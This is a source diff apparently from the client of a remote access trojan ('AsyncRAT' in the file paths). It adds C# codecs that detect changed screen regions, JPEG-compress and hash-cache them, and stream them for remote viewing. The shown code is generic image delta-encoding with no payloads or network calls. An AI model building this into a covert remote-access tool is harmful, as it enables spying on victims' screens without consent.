|
||||||
|
{
|
||||||
|
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||||
|
Blocks[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Blocks.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
y += s.Height;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<CacheInfo> finalUpdates = new List<CacheInfo>();
|
||||||
|
const int CheckHeight = 50;
|
||||||
|
for (int i = 0; i < Blocks.Count; i++)
|
||||||
|
{
|
||||||
|
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||||
|
y = Blocks[i].Y;
|
||||||
|
lasty = (Blocks[i].Y + Blocks[i].Height);
|
||||||
|
|
||||||
|
while (y != lasty)
|
||||||
|
{
|
||||||
|
int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight;
|
||||||
|
x = 0;
|
||||||
|
while (x != bitmap.Width)
|
||||||
|
{
|
||||||
|
if (x == lastx)
|
||||||
|
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||||
|
cBlock = new Rectangle(x, y, s.Width, ScanHeight);
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
|
||||||
|
{
|
||||||
|
/*byte[] tempData = new byte[0];
|
||||||
|
LastFrame.CopyBlock(cBlock, ref tempData);
|
||||||
|
finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/
|
||||||
|
|
||||||
|
//hash it and see if exists in cache
|
||||||
|
hasher = new CRC32(); //re-initialize for seed
|
||||||
|
byte[] tempData = new byte[0];
|
||||||
|
LastFrame.CopyBlock(cBlock, ref tempData);
|
||||||
|
int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0);
|
||||||
|
|
||||||
|
if (codeCached.Count >= MaxBuffers)
|
||||||
|
codeCached.RemoveAt(0);
|
||||||
|
|
||||||
|
if (codeCached.ContainsKey(hash))
|
||||||
|
{
|
||||||
|
CachedSize += (ulong)tempData.Length;
|
||||||
|
finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
//nothing found in cache let's use the normal way
|
||||||
|
codeCached.Add(hash, tempData);
|
||||||
|
finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
x += s.Width;
|
||||||
|
}
|
||||||
|
y += ScanHeight;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < finalUpdates.Count; i++)
|
||||||
|
{
|
||||||
|
buffer = new byte[0];
|
||||||
|
Rectangle rect = finalUpdates[i].Rect;
|
||||||
|
|
||||||
|
if (!finalUpdates[i].isCached)
|
||||||
|
{
|
||||||
|
fixed (byte* ptr = finalUpdates[i].Data)
|
||||||
|
{
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||||
|
{
|
||||||
|
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0);
|
||||||
|
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||||
|
outStream.Write(buffer, 0, buffer.Length);
|
||||||
|
TotalDataLength += buffer.Length + (4 * 6) + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
|
||||||
|
Blocks.Clear();
|
||||||
|
SetLastFrame(sbBmp);
|
||||||
|
ms.Close();
|
||||||
|
ms.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> updates = new List<Rectangle>();
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
List<CacheInfo> cacheInfo = new List<CacheInfo>();
|
||||||
|
byte[] HeaderData = new byte[(4 * 6) + 1];
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
inStream.Read(HeaderData, 0, HeaderData.Length);
|
||||||
|
|
||||||
|
bool isCached = HeaderData[0] == 1;
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5),
|
||||||
|
BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13));
|
||||||
|
int Hash = BitConverter.ToInt32(HeaderData, 17);
|
||||||
|
int UpdateLen = BitConverter.ToInt32(HeaderData, 21);
|
||||||
|
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
//process update data
|
||||||
|
if (isCached)
|
||||||
|
{
|
||||||
|
//data is cached
|
||||||
|
if (decodeCached.ContainsKey(Hash))
|
||||||
|
buffer = decodeCached[Hash];
|
||||||
|
else
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
if (buffer.Length > 0)
|
||||||
|
{
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
|
||||||
|
tmp.Dispose();
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (decodeCached.Count >= MaxBuffers)
|
||||||
|
decodeCached.RemoveAt(0);
|
||||||
|
|
||||||
|
if(!decodeCached.ContainsKey(Hash))
|
||||||
|
this.decodeCached.Add(Hash, buffer);
|
||||||
|
DataSize -= UpdateLen + HeaderData.Length;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CachedSize = 0;
|
||||||
|
foreach(CacheInfo inf in cacheInfo)
|
||||||
|
{
|
||||||
|
CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height;
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
Console.WriteLine(cacheInfo.Count + ", " + CachedSize);
|
||||||
|
g.Dispose();
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
private class CacheInfo
|
||||||
|
{
|
||||||
|
public bool isCached = false;
|
||||||
|
public byte[] Data;
|
||||||
|
public int Hash;
|
||||||
|
public Rectangle Rect;
|
||||||
|
|
||||||
|
public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect)
|
||||||
|
{
|
||||||
|
this.Hash = Hash;
|
||||||
|
this.isCached = isCached;
|
||||||
|
this.Data = Data;
|
||||||
|
this.Rect = Rect;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec)
|
||||||
|
{
|
||||||
|
if (ScanRects.Count > 0)
|
||||||
|
{
|
||||||
|
int scanX = ScanRects[0].X;
|
||||||
|
for (int i = 0; i < ScanRects.Count; i++)
|
||||||
|
{
|
||||||
|
int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width;
|
||||||
|
Rectangle rect = ScanRects[i];
|
||||||
|
rect.Width = scanWidth;
|
||||||
|
rect.X = scanX;
|
||||||
|
byte[] buffer = new byte[0];
|
||||||
|
sBmp.CopyBlock(rect, ref buffer);
|
||||||
|
|
||||||
|
int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0);
|
||||||
|
|
||||||
|
if (!HashList.ContainsKey(hash))
|
||||||
|
HashList.Add(hash, rect);
|
||||||
|
|
||||||
|
//fixed (byte* ptr = buffer)
|
||||||
|
//{
|
||||||
|
// using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||||
|
// {
|
||||||
|
// buffer = codec.lzwCompression.Compress(TmpBmp);
|
||||||
|
//
|
||||||
|
// }
|
||||||
|
//}
|
||||||
|
|
||||||
|
scanX += scanWidth;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}*/
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
266
AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs
Normal file
266
AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs
Normal file
@ -0,0 +1,266 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Codecs
|
||||||
|
{
|
||||||
|
public class SmallStreamCodec : IVideoCodec
|
||||||
|
{
|
||||||
|
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||||
|
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 1; }
|
||||||
|
}
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public Size CheckBlock { get; set; }
|
||||||
|
public SimpleBitmap LastFrame { get; set; }
|
||||||
|
private object ImageProcessLock = new object();
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initialize a new object of SmallStreamCodec
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||||
|
public SmallStreamCodec(int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
CheckBlock = new Size(20, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void SetLastFrame(ref Bitmap bmp)
|
||||||
|
{
|
||||||
|
SetLastFrame(new SimpleBitmap(bmp));
|
||||||
|
}
|
||||||
|
private void SetLastFrame(SimpleBitmap bmp)
|
||||||
|
{
|
||||||
|
lock (ImageProcessLock)
|
||||||
|
{
|
||||||
|
if (LastFrame != null && LastFrame.Locked)
|
||||||
|
LastFrame.Dispose(true);
|
||||||
|
LastFrame = bmp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Encode the image
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="bitmap">The image you want to encode.</param>
|
||||||
|
/// <param name="outStream">The output stream</param>
|
||||||
|
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||||
|
{
|
||||||
|
lock (ImageProcessLock)
|
||||||
|
{
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
if (LastFrame == null)
|
||||||
|
{
|
||||||
|
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
SetLastFrame(ref bitmap);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
List<byte[]> updates = new List<byte[]>();
|
||||||
|
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
|
||||||
|
MemoryStream ms = new MemoryStream();
|
||||||
|
byte[] buffer = null;
|
||||||
|
|
||||||
|
if (!LastFrame.Locked)
|
||||||
|
LastFrame.Lock();
|
||||||
|
|
||||||
|
sbBmp.Lock();
|
||||||
|
|
||||||
|
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
|
||||||
|
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||||
|
|
||||||
|
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
|
||||||
|
{
|
||||||
|
sbBmp.Unlock();
|
||||||
|
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> Blocks = new List<Rectangle>();
|
||||||
|
int index = 0;
|
||||||
|
|
||||||
|
int y = 0;
|
||||||
|
int x = 0;
|
||||||
|
|
||||||
|
Size s = new Size(bitmap.Width, CheckBlock.Height);
|
||||||
|
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
|
||||||
|
|
||||||
|
int lasty = bitmap.Height - lastSize.Height;
|
||||||
|
int lastx = bitmap.Width - lastSize.Width;
|
||||||
|
|
||||||
|
Rectangle cBlock = new Rectangle();
|
||||||
|
|
||||||
|
s = new Size(bitmap.Width, s.Height);
|
||||||
|
while (y != bitmap.Height)
|
||||||
|
{
|
||||||
|
if (y == lasty)
|
||||||
|
s = new Size(bitmap.Width, lastSize.Height);
|
||||||
|
|
||||||
|
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||||
|
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||||
|
{
|
||||||
|
index = Blocks.Count - 1;
|
||||||
|
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||||
|
{
|
||||||
|
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||||
|
Blocks[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Blocks.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
y += s.Height;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||||
|
for (int i = 0; i < Blocks.Count; i++)
|
||||||
|
{
|
||||||
|
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||||
|
x = 0;
|
||||||
|
while (x != bitmap.Width)
|
||||||
|
{
|
||||||
|
if (x == lastx)
|
||||||
|
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||||
|
|
||||||
|
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
|
||||||
|
{
|
||||||
|
index = finalUpdates.Count - 1;
|
||||||
|
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[index];
|
||||||
|
int newWidth = cBlock.Width + rect.Width;
|
||||||
|
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||||
|
finalUpdates[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
finalUpdates.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
x += s.Width;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < finalUpdates.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[i];
|
||||||
|
sbBmp.CopyBlock(rect, ref buffer);
|
||||||
|
|
||||||
|
fixed (byte* ptr = buffer)
|
||||||
|
{
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||||
|
{
|
||||||
|
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||||
|
outStream.Write(buffer, 0, buffer.Length);
|
||||||
|
TotalDataLength += buffer.Length + (4 * 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
|
||||||
|
Blocks.Clear();
|
||||||
|
SetLastFrame(sbBmp);
|
||||||
|
ms.Close();
|
||||||
|
ms.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Decode the video stream
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="inStream">The input stream</param>
|
||||||
|
/// <returns>The image that has been decoded</returns>
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> updates = new List<Rectangle>();
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
tmp.Dispose();
|
||||||
|
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
DataSize -= buffer.Length + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,26 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Encoders.GridCoder
|
||||||
|
{
|
||||||
|
internal class GridBlock
|
||||||
|
{
|
||||||
|
public Rectangle Rect { get; private set; }
|
||||||
|
public ulong Hash { get; private set; }
|
||||||
|
private GridEncoder encoder;
|
||||||
|
|
||||||
|
public GridBlock(Rectangle Rect, GridEncoder encoder)
|
||||||
|
{
|
||||||
|
this.encoder = encoder;
|
||||||
|
this.Rect = Rect;
|
||||||
|
CalculateHash();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void CalculateHash()
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,47 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Encoders.GridCoder
|
||||||
|
{
|
||||||
|
public class GridEncoder : IEncoder
|
||||||
|
{
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 1; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream)
|
||||||
|
{
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
24
AsyncRAT-C#/Client/StreamLibrary/Enums.cs
Normal file
24
AsyncRAT-C#/Client/StreamLibrary/Enums.cs
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary
|
||||||
|
{
|
||||||
|
public enum CodecOption
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The Previous and next image size must be equal
|
||||||
|
/// </summary>
|
||||||
|
RequireSameSize,
|
||||||
|
/// <summary>
|
||||||
|
/// If the codec is having a stream buffer
|
||||||
|
/// </summary>
|
||||||
|
HasBuffers,
|
||||||
|
/// <summary>
|
||||||
|
/// The image will be disposed by the codec and shall not be disposed by the user
|
||||||
|
/// </summary>
|
||||||
|
AutoDispose,
|
||||||
|
/// <summary> No codec options were used </summary>
|
||||||
|
None
|
||||||
|
};
|
||||||
|
}
|
||||||
46
AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs
Normal file
46
AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary
|
||||||
|
{
|
||||||
|
public abstract class IEncoder
|
||||||
|
{
|
||||||
|
protected LzwCompression lzwCompression;
|
||||||
|
public abstract ulong CachedSize { get; internal set; }
|
||||||
|
protected object ImageProcessLock { get; private set; }
|
||||||
|
|
||||||
|
private int _imageQuality;
|
||||||
|
public int ImageQuality
|
||||||
|
{
|
||||||
|
get { return _imageQuality; }
|
||||||
|
set
|
||||||
|
{
|
||||||
|
_imageQuality = value;
|
||||||
|
lzwCompression = new LzwCompression(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public IEncoder(int ImageQuality = 100)
|
||||||
|
{
|
||||||
|
this.ImageQuality = ImageQuality;
|
||||||
|
this.ImageProcessLock = new object();
|
||||||
|
}
|
||||||
|
|
||||||
|
public abstract int BufferCount { get; }
|
||||||
|
public abstract CodecOption CodecOptions { get; }
|
||||||
|
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
|
||||||
|
public abstract unsafe Bitmap DecodeData(Stream inStream);
|
||||||
|
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
46
AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs
Normal file
46
AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary
|
||||||
|
{
|
||||||
|
public abstract class IUnsafeCodec
|
||||||
|
{
|
||||||
|
protected JpgCompression jpgCompression;
|
||||||
|
protected LzwCompression lzwCompression;
|
||||||
|
public abstract ulong CachedSize { get; internal set; }
|
||||||
|
protected object ImageProcessLock { get; private set; }
|
||||||
|
|
||||||
|
private int _imageQuality;
|
||||||
|
public int ImageQuality
|
||||||
|
{
|
||||||
|
get { return _imageQuality; }
|
||||||
|
set
|
||||||
|
{
|
||||||
|
_imageQuality = value;
|
||||||
|
jpgCompression = new JpgCompression(value);
|
||||||
|
lzwCompression = new LzwCompression(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public IUnsafeCodec(int ImageQuality = 100)
|
||||||
|
{
|
||||||
|
this.ImageQuality = ImageQuality;
|
||||||
|
this.ImageProcessLock = new object();
|
||||||
|
}
|
||||||
|
|
||||||
|
public abstract int BufferCount { get; }
|
||||||
|
public abstract CodecOption CodecOptions { get; }
|
||||||
|
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
|
||||||
|
public abstract unsafe Bitmap DecodeData(Stream inStream);
|
||||||
|
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
|
||||||
|
}
|
||||||
|
}
|
||||||
35
AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs
Normal file
35
AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary
|
||||||
|
{
|
||||||
|
public abstract class IVideoCodec
|
||||||
|
{
|
||||||
|
public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges);
|
||||||
|
public delegate void VideoDecodeProgress(Bitmap bitmap);
|
||||||
|
public delegate void VideoDebugScanningDelegate(Rectangle ScanArea);
|
||||||
|
|
||||||
|
public abstract event VideoCodeProgress onVideoStreamCoding;
|
||||||
|
public abstract event VideoDecodeProgress onVideoStreamDecoding;
|
||||||
|
public abstract event VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public abstract event VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
